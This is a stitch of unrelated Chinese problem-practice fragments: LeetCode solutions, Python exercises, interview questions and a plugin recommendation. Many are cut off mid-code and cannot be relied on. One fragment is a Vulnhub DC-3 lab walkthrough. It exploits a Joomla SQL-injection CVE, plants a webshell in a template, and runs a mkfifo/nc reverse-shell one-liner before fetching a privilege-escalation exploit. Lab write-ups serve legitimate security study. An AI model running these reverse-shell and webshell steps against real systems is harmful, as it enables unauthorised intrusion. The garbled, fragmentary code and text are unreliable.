return 0; } int pos = strs.find(tar); cout<< pos <<endl; } 11,搜索插入位置 示例: 输入 输出 [1,3,5,6 ] ->5 2 [1,3,5,6]->2 1 代码: //一排序数组 tar目边值所在位置 不存咋就插入合适位置 #include <iostream> using namespace std; } } cout<< i - nums.begin()<<endl; } 12,最后一个单词的长度 示例: 输入 输出 hello world 5 xxx lll 3
} res = test; } } return res; } }; 3
前言 本日记为个人的刷题学习日记,内容非原创,仅为自己复习知识时,能够看得懂自己写的CV的代码,快速理解题意。另外,力扣官方的题解很好用,三叶姐nb!!!!! 1990. 搜索插入位置 ✅ 题意 给定一个严格递增数组和一个目标值,返回该数组中目标值的下标,如果不含该值,返回顺序插入的位置 思路 // 二分法 // 最后跳出循环的模拟 假设 此时在下标为3 4 的区间 数值分别是9和12 target为10 数值应当插入下标4的位置 // mid = 3; nums[mid] < target (9<10); left = mid + 1; 此时left==right ==4 // 再一次循环 nums[mid] > target (12>10) right = mid - 1; 此时right为3 left为4 返回left class Solution {
LeetCode 刷题笔记——day 3 4. 寻找两个正序数组的中位数 难度:困难 给定两个大小分别为 m 和 n 的正序(从小到大)数组 nums1 和 nums2。 = [3,4] 输出:2.50000 解释:合并数组 = [1,2,3,4] ,中位数 (2 + 3) / 2 = 2.5 示例 3: 输入:nums1 = [0,0], nums2 = [0,0] 因此,这道题可以转化成寻找两个有序数组中的第 k 小的数,其中 k 为 (m+n)/2 或 (m+n)/2+1。 假设两个有序数组分别是 A 和 B。 划分数组 在这道题的官方题解中,还提到了第二种方法: 划分数组。 说明 方法一的时间复杂度已经很优秀了,但本题存在时间复杂度更低的一种方法。这里给出推导过程,勇于挑战自己的读者可以进行尝试。 今天还是只搞这一道题,一直对时间/空间复杂度的概念不是很清楚,这里记录一下来自维基百科的解释: 算法效率 时间复杂度 图片式。
(1)油耗 X = int(input()) Y = float(input()) M = X / Y print("%.3f km/l"%M) (2)时间转换 #时间转换 N = int(input( )) A = N //3600 B = N // 60 C = N % 60 print("%d:%d:%d"%(A,B,C)) (3)简单计算 #简单计算 - 难点:浮点数和整数类型如何同行输出 a1 print("VALOR A PAGAR: R$ %.2f"%x) (4)球体体积计算 #球体体积 R = int(input()) pi = 3.14159 X = (4/3.0) * pi * (R **3) print("VOLUME = %.3f"%X)
Vulnhnb刷题-DC-3 打开后 信息收集 通过goby查到后台框架有一个漏洞,那就直接利用进入后台 利用过程 vulhub/joomla/CVE-2017-8917 at master · vulhub 那就直接新建一个一句话木马 但是还得了解一下 joomla的目录结构要不然访问不了木马 后面应该就是接模板名称 最后得到木马地址:http://192.168.119.150/templates/beez3/ 在蚁剑执行 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.119.150 8888 >/tmp/f 修改交互 python3 gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip 把它复制到靶机上 直接使用python3的
⭐作者:别动我的饭 ⭐专栏:菜鸟刷题 ⭐标语:悟已往之不谏,知来者之可追 一.字符串压缩:面试题 01.06. 字符串压缩 - 力扣(LeetCode) 描述 字符串压缩。 比如,字符串aabcccccaaa会变为a2b1c5a3。若“压缩”后的字符串没有变短,则返回原先的字符串。你可以假设字符串中只包含大小写英文字母(a至z)。 编写程序,交换某个整数的奇数位和偶数位,尽量使用较少的指令(也就是说,位0与位1交换,位2与位3交换,以此类推) ---- 解题思路 这没什么骚操作,就当老实人呗。 递归要有限制条件,这题的限制条件是,我们只需要调用a/b次递归。 今天是刷题第三天了,你还在坚持吗?
大家好,今天给大家介绍一份 Github 上万 star 的刷题笔记,看完,直接秒杀大部分中等难度 Leetcode 题目 作者是一位谷歌工程师。 他在美国卡内基梅隆大学攻读硕士学位时,为了准备实习秋招,他从夏天开始整理某 code 上的题目,几个月的时间,刷了几百道题目。 入职前,闲暇的时候,他突然想到,自己刷了那么多题,而且对很多题目的解法有着总结,为何不把这些题目归纳总结一些,做成一个便于后来者阅读学习的电子书呢? 引用他的话来说: 本书分为算法和数据结构两大部分,又细分了十五个章节,详细讲解了刷题时常用的技巧。我把题目精简到了101道,一是呼应了本书的标题,二是不想让读者阅读和练习时间过长。 [image.png] 为了方便读者,我已经将开源电子书下载后上传到百度云盘: 链接: https://pan.baidu.com/s/1nghTi7EBWF2hfufox3ZbTw 提取码: gdnu
这个时候,就不得不提有一个神奇的网站叫 LeetCode,上边搜集了一大堆的算法题,从简到难应有尽有。 可以说,你如果能把这些题做到游刃有余,哪么一般大公司面试的算法题,比如手撕红黑树啥的,真的是手拿把攥。 因为它是个网站的缘故,我们刷题过程中避免不了要打开浏览器,可是如果你想在上班过程中摸鱼的话,打开浏览器光明正大刷有的时候可能不太好,哪怎么办呢? 最近发现个上班刷题摸鱼神器VS Code刷题插件——vscode-leetcode,接下来我就推荐给大家,通过它只需要在VSCode中你就可以完成登录解题等一系列步骤而不需要开个浏览器。 ? 综上,是不是感觉刷题的欲望都高了呢?欢迎留言来讨论哈。
目录: 1,leetcode-200(岛屿的个数) 2,leetcode-36(有效的数独) 3,leetcode-146(LRU) 4,leetcode-10(正则表达式匹配) 5,leetcode- in range(9): for j in range(9): num = (3* (i//3) + j//3)#找单元 temp = board[i][j] if temp ! num][temp] =1 else: return False return True 3, maximum-product-subarray/ 中文版:https://leetcode-cn.com/problems/maximum-product-subarray/ # leetcode-152:动态优化,与上题leetcode
刷面试题是一种很好的感知职场需求、发现自身知识缺陷并不断提升自我的过程。 说说Python3 和 Python2 之间的区别? import方式:Py3是以绝对路径的方式进行import,Py2则是相对路径方式。 新老式类:Python中的类为多继承方式。 除法运算:Py2的除法:10/3=3:Py3:10//3=3 ;10/3=3.33333335 range:Py2中,range的结果是list类型,xrange的结果是生成器(更高效) ;Py3中,range 一行代码展开该列表[[1,2],[3,4],[5,6]],得出[1,2,3,4,5,6] [j for i in a for j in i] 5. 字典操作中 del 和 pop 有什么区别? 请将[i for i in range(3)]改成生成器 (i for i in range(3)) 13.
] + numbers[j] < target: i += 1 else: return [i+1, j+1] 3,
二叉搜索树中序遍历,前缀树,二分图,二叉树前序遍历,并查集,拓扑排序 目录: 1,Leetcode-230 2,Leetcode-208 3,Leetcode-785 4,Leetcode-144 5, instantiated and called as such: # obj = Trie() # obj.insert(word) # param_2 = obj.search(word) # param_3 = obj.startsWith(prefix) 3,Leetcode-785: # leetcode-785:二分图:beats 80.75% class Solution: def isBipartite
目录: 一、递归: 1,leetcode-70 2,leetcode-17 3,leetcode-46 二、动态规划: 1,leetcode-131 2,leetcode-132 3,leetcode- Number: https://leetcode.com/problems/letter-combinations-of-a-phone-number/ # leetcode-17: 递归 # 列表形式: O(3^ 战胜了81.75% def letterCombinations(self, digits: str) -> List[str]: num_str = {"2":"abc","3" self, digits: str) -> list: if not digits: return [] num_str = {"2":"abc","3" = min(ans[j],ans[i - 1] + 1) i -= 1 j += 1 return ans[size - 1] 3,
leecode刷题(3)-- 旋转数组 旋转数组 给定一个数组,将数组中的元素向右移动 K 个位置,其中 K 是非负数。 示例: 输入: [1,2,3,4,5,6,7] 和 k = 3 输出: [5,6,7,1,2,3,4] 解释: 向右旋转 1 步: [7,1,2,3,4,5,6] 向右旋转 2 步: [6,7,1,2,3,4,5 ] 向右旋转 3 步: [5,6,7,1,2,3,4] 说明: 尽可能想出更多的解决方案,至少有三种不同的方法可以解决这个问题。 举个栗子 每旋转一次的执行过程 1) 先将最后一个保存到临时变量 1 2 3 4 5 6 7 8 [8] --- 临时变量 2)位移 _ 1 2 3 4 5 6 7 [8 ] --- 临时变量 3)将临时变量放到第一个 8 1 2 3 4 5 6 7 代码如下: public class Rotate { public static void rotate(int
哈希表、栈、链表、多数投票、回文、堆、双指针、进制转换 目录: 1,Leetcode-242 2,Leetcode-232 3,Leetcode-160 4,Leetcode-260 5,Leetcode """ Returns whether the queue is empty. """ return self.stack == [] 3,
self.val root.left = dfs(root.left) return root return dfs(root) python3交换
1,数组: Three Sum(求三数之和) 英文版:https://leetcode.com/problems/3sum/ 中文版:https://leetcode-cn.com/problems/3sum
动态规划,回溯法,广度优先搜索(DFS) 目录: 1,Leetcode-416 2,Leetcode-17 3,Leetcode-64 4,Leetcode-70 5,Leetcode-279 6,Leetcode += i self.doCombinations(prefix, combinations, digits) prefix = prefix[:-1] 3, -70:斐波那契数列 class Solution: # beats 17.26% def climbStairs(self, n: int) -> int: if n < 3: Solution: def numSquares(self, n: int) -> int: squares = [] square, interval = 1, 3
3,Evaluate Reverse Polish Notatio(逆波兰表达式求值) 英文版:https://leetcode.com/problems/evaluate-reverse-polish-notation